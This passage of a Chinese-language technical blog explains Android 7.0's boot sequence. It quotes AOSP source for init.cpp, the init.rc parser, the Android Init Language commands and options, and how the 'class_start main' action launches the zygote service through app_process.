MS_NOSUID, \\"mode=0755\\" ); mkdir( \\"/dev/pts\\" , 0755); mkdir( \\"/dev/socket\\" , 0755); mount( \\"devpts\\" , \\"/dev/pts\\" , \\"devpts\\" , 0, NULL); #define MAKE_STR(x) __STRING(x) mount( \\"proc\\" , \\"/proc\\" , \\"proc\\" , 0, \\"hidepid=2,gid=\\" MAKE_STR(AID_READPROC)); mount( \\"sysfs\\" , \\"/sys\\" , \\"sysfs\\" , 0, NULL); } // We must have some place other than / to create the device nodes for // kmsg and null, otherwise we won\'t be able to remount / read-only // later on. Now that tmpfs is mounted on /dev, we can actually talk // to the outside world. open_devnull_stdio(); klog_init(); klog_set_level(KLOG_NOTICE_LEVEL); NOTICE( \\"init %s started!\\\\n\\" , is_first_stage ? \\"first stage\\" : \\"second stage\\" ); if (!is_first_stage) { // Indicate that booting is in progress to background fw loaders, etc. close(open( \\"/dev/.booting\\" , O_WRONLY | O_CREAT | O_CLOEXEC, 0000)); // 初始化属性 property_init(); // If arguments are passed both on the command line and in DT, // properties set in DT always have priority over the command-line ones. process_kernel_dt(); process_kernel_cmdline(); // Propagate the kernel variables to internal variables // used by init as well as the current required properties. export_kernel_boot_props(); } // Set up SELinux, including loading the SELinux policy if we\'re in the kernel domain. selinux_initialize(is_first_stage); // If we\'re in the kernel domain, re-exec init to transition to the init domain now // that the SELinux policy has been loaded. if (is_first_stage) { if (restorecon( \\"/init\\" ) == -1) { ERROR( \\"restorecon failed: %s\\\\n\\" , strerror ( errno )); security_failure(); } char * path = argv[0]; char * args[] = { path, const_cast < char *>( \\"--second-stage\\" ), nullptr }; if (execv(path, args) == -1) { ERROR( \\"execv(\\\\\\"%s\\\\\\") failed: %s\\\\n\\" , path, strerror ( errno )); security_failure(); } } // These directories were necessarily created before initial policy load // and therefore need their security context restored to the proper value. // This must happen before /dev is populated by ueventd. NOTICE( \\"Running restorecon...\\\\n\\" ); restorecon( \\"/dev\\" ); restorecon( \\"/dev/socket\\" ); restorecon( \\"/dev/__properties__\\" ); restorecon( \\"/property_contexts\\" ); restorecon_recursive( \\"/sys\\" ); epoll_fd = epoll_create1(EPOLL_CLOEXEC); if (epoll_fd == -1) { ERROR( \\"epoll_create1 failed: %s\\\\n\\" , strerror ( errno )); exit (1); } signal_handler_init(); property_load_boot_defaults(); export_oem_lock_status(); start_property_service(); const BuiltinFunctionMap function_map; Action::set_function_map(&function_map); //在这里建立一个parser对象 开始解析init.rc Parser& parser = Parser::GetInstance(); parser.AddSectionParser( \\"service\\" ,std::make_unique<ServiceParser>()); parser.AddSectionParser( \\"on\\" , std::make_unique<ActionParser>()); parser.AddSectionParser( \\"import\\" , std::make_unique<ImportParser>()); parser.ParseConfig( \\"/init.rc\\" ); ActionManager& am = ActionManager::GetInstance(); am.QueueEventTrigger( \\"early-init\\" ); // Queue an action that waits for coldboot done so we know ueventd has set up all of /dev... am.QueueBuiltinAction(wait_for_coldboot_done_action, \\"wait_for_coldboot_done\\" ); // ... so that we can start queuing up actions that require stuff from /dev. am.QueueBuiltinAction(mix_hwrng_into_linux_rng_action, \\"mix_hwrng_into_linux_rng\\" ); am.QueueBuiltinAction(set_mmap_rnd_bits_action, \\"set_mmap_rnd_bits\\" ); am.QueueBuiltinAction(keychord_init_action, \\"keychord_init\\" ); am.QueueBuiltinAction(console_init_action, \\"console_init\\" ); // Trigger all the boot actions to get us started. am.QueueEventTrigger( \\"init\\" ); // Repeat mix_hwrng_into_linux_rng in case /dev/hw_random or /dev/random // wasn\'t ready immediately after wait_for_coldboot_done am.QueueBuiltinAction(mix_hwrng_into_linux_rng_action, \\"mix_hwrng_into_linux_rng\\" ); // Don\'t mount filesystems or start core system services in charger mode. std::string bootmode = property_get( \\"ro.bootmode\\" ); if (bootmode == \\"charger\\" ) { am.QueueEventTrigger( \\"charger\\" ); } else { am.QueueEventTrigger( \\"late-init\\" ); } // Run all property triggers based on current state of the properties. am.QueueBuiltinAction(queue_property_triggers_action, \\"queue_property_triggers\\" ); while ( true ) { if (!waiting_for_exec) { am.ExecuteOneCommand(); restart_processes(); } int timeout = -1; if (process_needs_restart) { timeout = (process_needs_restart - gettime()) * 1000; if (timeout < 0) timeout = 0; } if (am.HasMoreCommands()) { timeout = 0; } bootchart_sample(&timeout); epoll_event ev; int nr = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd, &ev, 1, timeout)); if (nr == -1) { ERROR( \\"epoll_wait failed: %s\\\\n\\" , strerror ( errno )); } else if (nr == 1) { (( void (*)()) ev.data.ptr)(); } } return 0; } |
其实Android7.0我看的这个版本init.cpp的main还是比较简单的,到后面Android10代码结构变了一些,将first stage,second stage,解析的代码全都封装进别的函数了,对分析者来说可能更好懂一些吧。
\\n做一下总结,init这个进程做了什么在init.cpp可以看个大概
\\n这一块稍微有点搞,按照正常流程走的话,里面就到了要开始准备进入zygote相关的逻辑了。
\\n因为Android稍高一些的逻辑是如下这样,可以找到start zygote字样
\\n但对于Android7.0版本
\\n所以暂时刚开始来到这里的时候其实还是去研究了一下的,先说一下,是这里 class_start main 进行启动的
\\n要知道他怎么启动的,需要掌握一些rc的AIL文件和Parser如何解析init.rc相关知识。
\\nAndroid Init Language 安卓初始化语言,这一块本人了解不深,研究启动流程也不需要太深理解,所以大概看一下就选(我写的有点啰嗦)
\\n主要有五类语句,Actions、Commands、Services、Options、Imports
\\nActions、Services、Import可以确定一个Section,如下是一个section
\\n1 2 3 4 | on boot ifup lo hostname localhost domainname localdomain |
格式
\\n后面会包含一个trigger触发器 表明何是执行这个Action
\\n1 2 3 4 5 | on <trgger> [&& <trigger>] * <command> <command> <command> ... |
简单来讲就是要执行的命令
\\n命令 | \\n解释 | \\n
---|---|
bootchart_init | \\n如果配置了bootcharing,则启动.包含在默认的init.rc中 | \\n
chmod | \\n更改文件权限 | \\n
chown <owner> <group> <path> | \\n更改文件的所有者和组 | \\n
calss_start <serviceclass> | \\n启动指定类别服务下的所有未启动的服务 | \\n
class_stop <serviceclass> | \\n停止指定类别服务类下的所有已运行的服务 | \\n
class_reset <serviceclass> | \\n停止指定类别的所有服务(服务还在运行),但不会禁用这些服务.后面可以通过class_start重启这些服务 | \\n
copy <src> <dst> | \\n复制文件,对二进制/大文件非常有用 | \\n
domainname <name> | \\n设置域名称 | \\n
enable <servicename> | \\n启用已经禁用的服务 | \\n
exec [ <seclabel> [ <user> [ <group> ]* ]] --<command> [ <argument> ]* | \\nfork一个进程执行指定命令,如果有参数,则带参数执行 | \\n
export <name> | \\n在全局环境中,将<name> 变量的值设置为<value> ,即以键值对的方式设置全局环境变量.这些变量对之后的任何进程都有效 | \\n
hostname | \\n设置主机名 | \\n
ifup <interface> | \\n启动某个网络接口 | \\n
insmod [-f] <path> [<options>] | \\n加载指定路径下的驱动模块。-f强制加载,即不管当前模块是否和linux kernel匹配 | \\n
load_all_props | \\n从/system,/vendor加载属性。默认包含在init.rc | \\n
load_persist_props | \\n当/data被加密时,加载固定属性 | \\n
loglevel <level> | \\n设置kernel日志等级 | \\n
mkdir <path> [mode] [owner] [group] | \\n在制定路径下创建目录 | \\n
mount_all <fstab> [ <path> ]* | \\n在给定的fs_mgr-format上调用fs_mgr_mount和引入rc文件 | \\n
mount <type> <device> <dir>[ <flag> ]* [<options>] | \\n挂载指定设备到指定目录下. | \\n
powerct | \\n用来应对sys.powerctl中系统属性的变化,用于系统重启 | \\n
restart <service> | \\n重启制定服务,但不会禁用该服务 | \\n
restorecon <path> [ <path> ]* | \\n恢复指定文件到file_contexts配置中指定的安全上线文环境 | \\n
restorecon_recursive <path> [ <path> ]* | \\n以递归的方式恢复指定目录到file_contexts配置中指定的安全上下文中 | \\n
rm <path> | \\n删除指定路径下的文件 | \\n
rmdir <path> | \\n删除制定路径下的目录 | \\n
setprop <name> <value> | \\n将系统属性<name> 的值设置为<value> ,即以键值对的方式设置系统属性 | \\n
setrlimit <resource> <cur> <max> | \\n设置资源限制 | \\n
start <service> | \\n启动服务(如果该服务还未启动) | \\n
stop <service> | \\n关闭服务(如果该服务还未停止) | \\n
swapon_all <fstab> | \\n\\n |
symlink <target> <path> | \\n创建一个指向<path> 的符合链接<target> | \\n
sysclktz <mins_west_of_gmt> | \\n设置系统时钟的基准,比如0代表GMT,即以格林尼治时间为准 | \\n
trigger <event> | \\n触发一个事件,将该action排在某个action之后(用于Action排队) | \\n
verity_load_state | \\n\\n |
verity_update_state <mount_point> | \\n\\n |
wait <path> [ <timeout> ] | \\n等待一个文件是否存在,存在时立刻返回或者超时后返回.默认超时事件是5s | \\n
write <path> <content> | \\n写内容到指定文件中 | \\n
复制自https://blog.csdn.net/w2064004678/article/details/105510821
\\n表明一些在初始化时就启动或者退出时需要重启的程序
\\n格式
\\n1 2 3 4 | service <name> <pathname> [ <argument> ] * <option> <option> ... |
一个例子
\\n1 2 3 4 | service ueventd / sbin / ueventd class core critical seclabel u:r:ueventd:s0 |
是用来修饰服务的,告诉服务要怎么进行运行
\\n选项 | \\n解释 | \\n
---|---|
console | \\n服务需要一个控制台. | \\n
critical | \\n表示这是一个关键设备服务.如果4分钟内此服务退出4次以上,那么这个设备将重启进入recovery模式 | \\n
disabled | \\n服务不会自动启动,必须通过服务名显式启动 | \\n
setenv <name> <value> | \\n在进程启动过程中,将环境变量<name> 的值设置为<value> ,即以键值对的方式设置环境变量 | \\n
socket <name> <type> <perm> [ <user> [ <group> [seclabel]]] | \\n创建一个unix域下的socket,其被命名/dev/socket/<name> . 并将其文件描述符fd返回给服务进程.其中,type必须为dgram,stream或者seqpacke,user和group默认是0.seclabel是该socket的SELLinux的安全上下文环境,默认是当前service的上下文环境,通过seclabel指定. | \\n
user <username> | \\n在执行此服务之前切换用户名,当前默认的是root.自Android M开始,即使它要求linux capabilities,也应该使用该选项.很明显,为了获得该功能,进程需要以root用户运行 | \\n
group <groupname> | \\n在执行此服务之前切换组名,除了第一个必须的组名外,附加的组名用于设置进程的补充组(借助setgroup()函数),当前默认的是root | \\n
seclabel <seclabel> | \\n在执行该服务之前修改其安全上下文,默认是init程序的上下文 | \\n
oneshot | \\n当服务退出时,不重启该服务 | \\n
class <name> | \\n为当前service设定一个类别.相同类别的服务将会同时启动或者停止,默认类名是default. | \\n
onrestart | \\n当服务重启时执行该命令 | \\n
priority <priority> | \\n设置服务进程的优先级.优先级取值范围为-20~19,默认是0.可以通过setpriority()设置 | \\n
引入配置文件
\\n1 | import <path> |
例子
\\n1 2 3 4 5 | import / init.environ.rc import / init.usb.rc import / init.${ro.hardware}.rc import / init.usb.configfs.rc import / init.${ro.zygote}.rc |
AIL 的介绍就到这了,如果想要详细了解请阅读 system/core/init 下的 readme.txt 文件。
\\n目光先转到init.cpp里面,下面这段代码对init.rc进行解析
\\n1 2 3 4 5 | Parser& parser = Parser::GetInstance(); parser.AddSectionParser( \\"service\\" ,std::make_unique<ServiceParser>()); parser.AddSectionParser( \\"on\\" , std::make_unique<ActionParser>()); parser.AddSectionParser( \\"import\\" , std::make_unique<ImportParser>()); parser.ParseConfig( \\"/init.rc\\" ); |
ok,这个parser是怎么写的呢,逻辑就在init_parser.cpp里面
\\n一点点来,既然上面先调用了parser.AddSectionParser,那我们就看看这个函数
\\n可以看到第二个参数parser被保存在以第一个参数name
\\n为标号的section_parsers_里面,而section_parsers__是一个map集合,也就是这个函数的作用是将parser和对应的section进行绑定
\\n1 2 3 4 | void Parser::AddSectionParser( const std::string& name, std::unique_ptr<SectionParser> parser) { section_parsers_[name] = std::move(parser); } |
其实以上操作很大意义上是在做解释器初始化的工作。
\\n接下来看看解析的这一行parser.ParseConfig(\\"/init.rc\\");,其中parser.ParseConfig
\\n可以看到这个函数作用就是根据传进来的参数看是文件路径还是目录路径,目录路径就调用ParseConfigDir 进行下一步的递归,找到文件路径然后再调用ParseConfigFile
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | bool Parser::ParseConfig( const std::string& path) { if (is_dir(path.c_str())) { return ParseConfigDir(path); } return ParseConfigFile(path); } bool Parser::ParseConfigDir( const std::string& path) { INFO( \\"Parsing directory %s...\\\\n\\" , path.c_str()); std::unique_ptr<DIR, int (*)(DIR*)> config_dir(opendir(path.c_str()), closedir); if (!config_dir) { ERROR( \\"Could not import directory \'%s\'\\\\n\\" , path.c_str()); return false ; } dirent* current_file; while ((current_file = readdir(config_dir.get()))) { std::string current_path = android::base::StringPrintf( \\"%s/%s\\" , path.c_str(), current_file->d_name); // Ignore directories and only process regular files. if (current_file->d_type == DT_REG) { if (!ParseConfigFile(current_path)) { ERROR( \\"could not import file \'%s\'\\\\n\\" , current_path.c_str()); } } } return true ; } |
那么重点来到ParseConfigFile
\\n可以看到下面的作用就是
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | bool Parser::ParseConfigFile( const std::string& path) { INFO( \\"Parsing file %s...\\\\n\\" , path.c_str()); Timer t; std::string data; if (!read_file(path.c_str(), &data)) { return false ; } data.push_back( \'\\\\n\' ); // TODO: fix parse_config. ParseData(path, data); for ( const auto & sp : section_parsers_) { sp.second->EndFile(path); } // Turning this on and letting the INFO logging be discarded adds 0.2s to // Nexus 9 boot time, so it\'s disabled by default. if ( false ) DumpState(); NOTICE( \\"(Parsing %s took %.2fs.)\\\\n\\" , path.c_str(), t.duration()); return true ; } |
进一步来到ParseData
\\n代码稍长,把分析写在代码里面了
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | void Parser::ParseData( const std::string& filename, const std::string& data) { //TODO: Use a parser with const input and remove this copy //将 rc 中的内容保存在 vector 中便于逐个字符进行解析 std::vector< char > data_copy(data.begin(), data.end()); data_copy.push_back( \'\\\\0\' ); parse_state state; state.filename = filename.c_str(); state.line = 0; state.ptr = &data_copy[0]; state.nexttoken = 0; SectionParser* section_parser = nullptr; //存放每一行的内容 std::vector<std::string> args; for (;;) { switch (next_token(&state)) { case T_EOF: if (section_parser) { section_parser->EndSection(); } return ; case T_NEWLINE: state.line++; //某行为空 则不进行解析 if (args.empty()) { break ; } // 通过判断args[0]的内容是不是services on import来判断是否是section的起始位置 if (section_parsers_.count(args[0])) { if (section_parser) { //结束解析 section_parser->EndSection(); } //取出对应的解释器 section_parser = section_parsers_[args[0]].get(); std::string ret_err; //进行解析了 if (!section_parser->ParseSection(args, &ret_err)) { parse_error(&state, \\"%s\\\\n\\" , ret_err.c_str()); section_parser = nullptr; } } else if (section_parser) { //不是section起始位置的话,这行就属于是section子块,进行line解析 std::string ret_err; if (!section_parser->ParseLineSection(args, state.filename, state.line, &ret_err)) { parse_error(&state, \\"%s\\\\n\\" , ret_err.c_str()); } } args.clear(); break ; case T_TEXT: args.emplace_back(state.text); break ; } } } |
简单来说上述函数就是通过判断,调用
\\n这根据解释器的不同,逻辑也有些不同,如果你是Action,则在ActionParser ,如果service则在ServiceParser
\\naction.cpp
\\nParseSection是创建Action对象(我理解下来就是对action的操作) 为对象添加一个触发器 并且将action_移动到目前的Action对象里面去
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | bool ActionParser::ParseSection( const std::vector<std::string>& args, std::string* err) { std::vector<std::string> triggers(args.begin() + 1, args.end()); if (triggers.size() < 1) { *err = \\"actions must have a trigger\\" ; return false ; } auto action = std::make_unique<Action>( false ); if (!action->InitTriggers(triggers, err)) { return false ; } action_ = std::move(action); return true ; } |
ParseLineSection 这个就是每一行(我理解下来就是对command的操作)
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | bool ActionParser::ParseLineSection( const std::vector<std::string>& args, const std::string& filename, int line, std::string* err) const { return action_ ? action_->AddCommand(args, filename, line, err) : false ; } 调用下面这个AddCommand bool Action::AddCommand( const std::vector<std::string>& args, const std::string& filename, int line, std::string* err) { if (!function_map_) { *err = \\"no function map available\\" ; return false ; } if (args.empty()) { *err = \\"command needed, but not provided\\" ; return false ; } //这里提及了一个function_map_ 很重要 auto function = function_map_->FindFunction(args[0], args.size() - 1, err); if (!function) { return false ; } AddCommand(function, args, filename, line); return true ; } 在调用下面这个AddCommand void Action::AddCommand(BuiltinFunction f, const std::vector<std::string>& args, const std::string& filename, int line) { commands_.emplace_back(f, args, filename, line); } |
根据上面的这个function_map_ 查找设置对应的command处理函数
\\n例如启动zygote的class start,就是在这里被设置好 碰见class start的时候调用哪个函数
\\n那具体调用哪个函数呢,继续往下看function_map_在那被复值
\\n1 2 3 4 5 | static const KeywordMap<BuiltinFunction>* function_map_; static void set_function_map( const KeywordMap<BuiltinFunction>* function_map) { function_map_ = function_map; } |
需要再次回到init.cpp 找到下面这行
\\n1 2 | const BuiltinFunctionMap function_map; Action::set_function_map(&function_map); |
c下面就要找到BuiltinFunctionMap 实在builtins.cpp里面的
\\n我们找到下面这个map
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | BuiltinFunctionMap::Map& BuiltinFunctionMap::map() const { constexpr std:: size_t kMax = std::numeric_limits<std:: size_t >::max(); static const Map builtin_functions = { { \\"bootchart_init\\" , {0, 0, do_bootchart_init}}, { \\"chmod\\" , {2, 2, do_chmod}}, { \\"chown\\" , {2, 3, do_chown}}, { \\"class_reset\\" , {1, 1, do_class_reset}}, { \\"class_start\\" , {1, 1, do_class_start}}, { \\"class_stop\\" , {1, 1, do_class_stop}}, { \\"copy\\" , {2, 2, do_copy}}, { \\"domainname\\" , {1, 1, do_domainname}}, { \\"enable\\" , {1, 1, do_enable}}, { \\"exec\\" , {1, kMax, do_exec}}, { \\"export\\" , {2, 2, do_export}}, { \\"hostname\\" , {1, 1, do_hostname}}, { \\"ifup\\" , {1, 1, do_ifup}}, { \\"init_user0\\" , {0, 0, do_init_user0}}, { \\"insmod\\" , {1, kMax, do_insmod}}, { \\"installkey\\" , {1, 1, do_installkey}}, { \\"load_persist_props\\" , {0, 0, do_load_persist_props}}, { \\"load_system_props\\" , {0, 0, do_load_system_props}}, { \\"loglevel\\" , {1, 1, do_loglevel}}, { \\"mkdir\\" , {1, 4, do_mkdir}}, { \\"mount_all\\" , {1, kMax, do_mount_all}}, { \\"mount\\" , {3, kMax, do_mount}}, { \\"powerctl\\" , {1, 1, do_powerctl}}, { \\"restart\\" , {1, 1, do_restart}}, { \\"restorecon\\" , {1, kMax, do_restorecon}}, { \\"restorecon_recursive\\" , {1, kMax, do_restorecon_recursive}}, { \\"rm\\" , {1, 1, do_rm}}, { \\"rmdir\\" , {1, 1, do_rmdir}}, { \\"setprop\\" , {2, 2, do_setprop}}, { \\"setrlimit\\" , {3, 3, do_setrlimit}}, { \\"start\\" , {1, 1, do_start}}, { \\"stop\\" , {1, 1, do_stop}}, { \\"swapon_all\\" , {1, 1, do_swapon_all}}, { \\"symlink\\" , {2, 2, do_symlink}}, { \\"sysclktz\\" , {1, 1, do_sysclktz}}, { \\"trigger\\" , {1, 1, do_trigger}}, { \\"verity_load_state\\" , {0, 0, do_verity_load_state}}, { \\"verity_update_state\\" , {0, 0, do_verity_update_state}}, { \\"wait\\" , {1, 2, do_wait}}, { \\"write\\" , {2, 2, do_write}}, }; return builtin_functions; } |
那class_start 对应的就是do_class_start,在builtins里面就写好了
\\n具体的逻辑我们下面再去看,先结束掉ActionParser的ParseLineSection
\\n再是EndSection
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | void ActionParser::EndSection() { if (action_ && action_->NumCommands() > 0) { ActionManager::GetInstance().AddAction(std::move(action_)); } } void ActionManager::AddAction(std::unique_ptr<Action> action) { ... if (old_action_it != actions_.end()) { (*old_action_it)->CombineAction(*action); } else { //将解析之后的 action 对象增加到 actions_ 链表中,用于遍历执行。 actions_.emplace_back(std::move(action)); } } //ActionManager 在 action.h 中的定义 class ActionManager { public : static ActionManager& GetInstance(); void AddAction(std::unique_ptr<Action> action); void QueueEventTrigger( const std::string& trigger); void QueuePropertyTrigger( const std::string& name, const std::string& value); void QueueAllPropertyTriggers(); void QueueBuiltinAction(BuiltinFunction func, const std::string& name); void ExecuteOneCommand(); bool HasMoreCommands() const ; void DumpState() const ; private : ActionManager(); ActionManager(ActionManager const &) = delete ; void operator=(ActionManager const &) = delete ; std::vector<std::unique_ptr<Action>> actions_; //actions_ 的定义 std::queue<std::unique_ptr<Trigger>> trigger_queue_; std::queue< const Action*> current_executing_actions_; std:: size_t current_command_; }; |
来总结一下解析Action的过程
\\n起始大体逻辑和Action是很像的
\\n1 2 3 4 5 6 7 8 9 10 11 12 | bool ServiceParser::ParseSection( const std::vector<std::string>& args, std::string* err) { ... //获取服务名 const std::string& name = args[1]; ... //保存服务名外的参数(如执行路径等) std::vector<std::string> str_args(args.begin() + 2, args.end()); //将 service_ 指针指向当前 Service 对象 service_ = std::make_unique<Service>(name, \\"default\\" , str_args); return true ; } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | bool ServiceParser::ParseLineSection( const std::vector<std::string>& args, const std::string& filename, int line, std::string* err) const { //为 Service 中的每一个 Option 指定处理函数 return service_ ? service_->HandleLine(args, err) : false ; } bool Service::HandleLine( const std::vector<std::string>& args, std::string* err) { ... static const OptionHandlerMap handler_map; //寻找对应 option 的处理函数 auto handler = handler_map.FindFunction(args[0], args.size() - 1, err); ... return ( this ->*handler)(args, err); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | void ServiceParser::EndSection() { if (service_) { ServiceManager::GetInstance().AddService(std::move(service_)); } } void ServiceManager::AddService(std::unique_ptr<Service> service) { Service* old_service = FindServiceByName(service->name()); if (old_service) { ERROR( \\"ignored duplicate definition of service \'%s\'\\" , service->name().c_str()); return ; } //将解析之后 service 对象增加到 services_ 链表中 services_.emplace_back(std::move(service)); } //ServiceManager 在 service.h 中的定义 class ServiceManager { public : static ServiceManager& GetInstance(); void AddService(std::unique_ptr<Service> service); Service* MakeExecOneshotService( const std::vector<std::string>& args); Service* FindServiceByName( const std::string& name) const ; Service* FindServiceByPid(pid_t pid) const ; Service* FindServiceByKeychord( int keychord_id) const ; void ForEachService(std::function< void (Service*)> callback) const ; void ForEachServiceInClass( const std::string& classname, void (*func)(Service* svc)) const ; void ForEachServiceWithFlags(unsigned matchflags, void (*func)(Service* svc)) const ; void ReapAnyOutstandingChildren(); void RemoveService( const Service& svc); void DumpState() const ; private : ServiceManager(); bool ReapOneProcess(); static int exec_count_; // Every service needs a unique name. std::vector<std::unique_ptr<Service>> services_; //services_ 的定义 }; |
与Action类似
\\n现在有了AIL的知识,和解释器如何解释每一条的command,现在设备就可以正常读取,并且管理这个init.rc文件当中的内容了(感觉还是在做初始化,还没到运行)
\\n我们的目的是要找到如何启动zygote,那如何执行command也很重要(比如class_start main如何锁定到zygote)
\\n回到init.cpp
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | while ( true ) { if (!waiting_for_exec) { am.ExecuteOneCommand(); restart_processes(); } int timeout = -1; if (process_needs_restart) { timeout = (process_needs_restart - gettime()) * 1000; if (timeout < 0) timeout = 0; } if (am.HasMoreCommands()) { timeout = 0; } bootchart_sample(&timeout); epoll_event ev; int nr = TEMP_FAILURE_RETRY(epoll_wait(epoll_fd, &ev, 1, timeout)); if (nr == -1) { ERROR( \\"epoll_wait failed: %s\\\\n\\" , strerror ( errno )); } else if (nr == 1) { (( void (*)()) ev.data.ptr)(); } } |
可以看到action的执行,是通过ExecuteOneCommand的调用的,往上找,很容易找到是ActionManager的ExecuteOneCommand,进去看
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | void ActionManager::ExecuteOneCommand() { while (current_executing_actions_.empty() && !trigger_queue_.empty()) { //遍历 actions_ for ( const auto & action : actions_) { if (trigger_queue_.front()->CheckTriggers(*action)) { //将 action 加入到 current_executing_actions_ 中 current_executing_actions_.emplace(action.get()); } } trigger_queue_.pop(); } ... //每次只执行一个 action,下次 init 进程 while 循环时,跳过上面的 while 循环,接着执行 auto action = current_executing_actions_.front(); if (current_command_ == 0) { std::string trigger_name = action->BuildTriggersString(); INFO( \\"processing action (%s)\\\\n\\" , trigger_name.c_str()); } //执行 action 的 command action->ExecuteOneCommand(current_command_); ++current_command_; ... } void Action::ExecuteOneCommand(std:: size_t command) const { //执行 action 对象中保存的 command ExecuteCommand(commands_[command]); } void Action::ExecuteCommand( const Command& command) const { Timer t; //调用 command 对应的处理函数 int result = command.InvokeFunc(); ... } |
小小总结一下
\\n好,现在基本上了解了AIL,如何解析启动zygote所在的init.rc,init.rc中的command如何运行
\\n通识的东西基本上大差不差,接下来要去看看如何启动zygote(感觉前面有点啰嗦)
\\n还记得之前我说很重要的这个函数吧
\\n1 2 3 4 5 | static int do_class_start( const std::vector<std::string>& args) { ServiceManager::GetInstance(). ForEachServiceInClass(args[1], [] (Service* s) { s->StartIfNotDisabled(); }); return 0; } |
里面调用service的StartIfNotDisabled
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | bool Service::StartIfNotDisabled() { if (!(flags_ & SVC_DISABLED)) { return Start(); } else { flags_ |= SVC_DISABLED_START; } return true ; } bool Service::Start() { .... //创建子进程 pid_t pid = fork(); if (pid == 0) { ... //执行对应 service 对应的执行文件,args_[0].c_str() 就是执行路径 if (execve(args_[0].c_str(), ( char **) &strs[0], ( char **) ENV) < 0) { ERROR( \\"cannot execve(\'%s\'): %s\\\\n\\" , args_[0].c_str(), strerror ( errno )); } _exit(127); } .... return true ; } |
可以看到又调用了Service 的 Start 函数
\\n代码里的是class-start main
\\n我们看到,里面class的标识就是main
\\n好了,做一下总结
\\ninit.cpp做了一些command的初始化,并且在解释器里面把init.rc读入让设备看懂init的初始化配置,然后再在init.cpp里面无限循环中调用init.rc当中的command,其中就包括了zygote的启动
\\ninit主要工作
\\n接下来逻辑进入到zygote
\\n到我手上这个pixel3的android10版本是有俩zygote的 分别是两个不同版本
\\n进入到zygote,其实是先进入native层的zygote
\\n首先根据设备的信息启动不同类型的zygote(位数),我以64 32为例
\\n可以看到二进制文件是app_process64和app_process32,-Xzygote /system/bin --zygote --start-system-server --socket-name=zygote都是他的参数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | service zygote / system / bin / app_process64 - Xzygote / system / bin - - zygote - - start - system - server - - socket - name = zygote class main socket zygote stream 660 root system onrestart write / sys / android_power / request_state wake onrestart write / sys / power / state on onrestart restart audioserver onrestart restart cameraserver onrestart restart media onrestart restart netd writepid / dev / cpuset / foreground / tasks / sys / fs / cgroup / stune / foreground / tasks service zygote_secondary / system / bin / app_process32 - Xzygote / system / bin - - zygote - - socket - name = zygote_secondary class main socket zygote_secondary stream 660 root system onrestart restart zygote writepid / dev / cpuset / foreground / tasks / dev / stune / foreground / tasks |
上面这个app_process64和app_process32都被编译完了,我们找到他的源代码看逻辑
\\n代码比较长,我们主要关注三部分
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | int main( int argc, char * const argv[]) { if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { // Older kernels don\'t understand PR_SET_NO_NEW_PRIVS and return // EINVAL. Don\'t die on such kernels. if ( errno != EINVAL) { LOG_ALWAYS_FATAL( \\"PR_SET_NO_NEW_PRIVS failed: %s\\" , strerror ( errno )); return 12; } } 创建app运行时对象 AppRuntime runtime(argv[0], computeArgBlockSize(argc, argv)); // Process command line arguments // ignore argv[0] argc--; argv++; // Everything up to \'--\' or first non \'-\' arg goes to the vm. // // The first argument after the VM args is the \\"parent dir\\", which // is currently unused. // // After the parent dir, we expect one or more the following internal // arguments : // // --zygote : Start in zygote mode // --start-system-server : Start the system server. // --application : Start in application (stand alone, non zygote) mode. // --nice-name : The nice name for this process. // // For non zygote starts, these arguments will be followed by // the main class name. All remaining arguments are passed to // the main method of this class. // // For zygote starts, all remaining arguments are passed to the zygote. // main function. // // Note that we must copy argument string values since we will rewrite the // entire argument block when we apply the nice name to argv0. int i; for (i = 0; i < argc; i++) { if (argv[i][0] != \'-\' ) { break ; } if (argv[i][1] == \'-\' && argv[i][2] == 0) { ++i; // Skip --. break ; } runtime.addOption(strdup(argv[i])); } // Parse runtime arguments. Stop at first unrecognized option. bool zygote = false ; bool startSystemServer = false ; bool application = false ; String8 niceName; String8 className; 关键代码1 ++i; // Skip unused \\"parent dir\\" argument. while (i < argc) { const char * arg = argv[i++]; if ( strcmp (arg, \\"--zygote\\" ) == 0) { zygote = true ; niceName = ZYGOTE_NICE_NAME; } else if ( strcmp (arg, \\"--start-system-server\\" ) == 0) { startSystemServer = true ; } else if ( strcmp (arg, \\"--application\\" ) == 0) { application = true ; } 